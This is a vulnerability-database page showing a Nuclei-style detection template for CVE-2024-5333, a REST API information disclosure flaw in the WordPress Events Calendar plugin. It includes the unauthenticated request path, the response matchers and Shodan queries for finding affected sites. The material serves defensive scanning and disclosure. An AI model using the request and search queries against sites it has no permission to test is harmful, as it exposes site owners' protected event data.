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WordPress Events Calendar 6.8.2.1 - Information Disclosure

CVE-2024-5333
Verified

Description

The Events Calendar WordPress plugin 6.8.2.1 contains missing access checks in the REST API, letting unauthenticated users access information about password protected events, exploit requires no authentication.

Severity

Medium

CVSS Score

5.3

Exploit Probability

11%

Affected Product

the_events_calendar

Published Date

January 23, 2026

Template Author

dhiyaneshdk

CVE-2024-5333.yaml
id: CVE-2024-5333

info:
  name: WordPress Events Calendar 6.8.2.1 - Information Disclosure
  author: DhiyaneshDk
  severity: medium
  description: |
    The Events Calendar WordPress plugin 6.8.2.1 contains missing access checks in the REST API, letting unauthenticated users access information about password protected events, exploit requires no authentication.
  impact: |
    Unauthenticated users can access sensitive event information, potentially leading to information disclosure.
  remediation: |
    Update to version 6.8.2.1 or later.
  reference:
    - https://wpscan.com/vulnerability/764b5a23-8b51-4882-b899-beb54f684984/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5333
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-5333
    cwe-id: CWE-639
    epss-score: 0.10972
    epss-percentile: 0.9351
  metadata:
    verified: true
    max-request: 1
    vendor: stellarwp
    product: the_events_calendar
    framework: wordpress
    publicwww-query: "/wp-content/plugins/the-events-calendar/"
    shodan-query: html:"/wp-content/plugins/the-events-calendar/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,the-events-calendar,disclosure

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/tribe/events/v1/events/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"events":'
          - '"rest_url":'
          - '"total":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a00463044022059771ed2dcdaec33d8006222e936ebfe72256cd6addbacf0d13a7a30ef959d410220241c54036d92cbb51be481c371ad857008ae8c3b1125b99d27698b4c98e55b09:922c64590222798bb761d5b6d8e72950
5.3Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVE ID:
cve-2024-5333
CWE ID:
cwe-639

References

https://wpscan.com/vulnerability/764b5a23-8b51-4882-b899-beb54f684984/https://nvd.nist.gov/vuln/detail/CVE-2024-5333

Remediation Steps

Update to version 6.8.2.1 or later.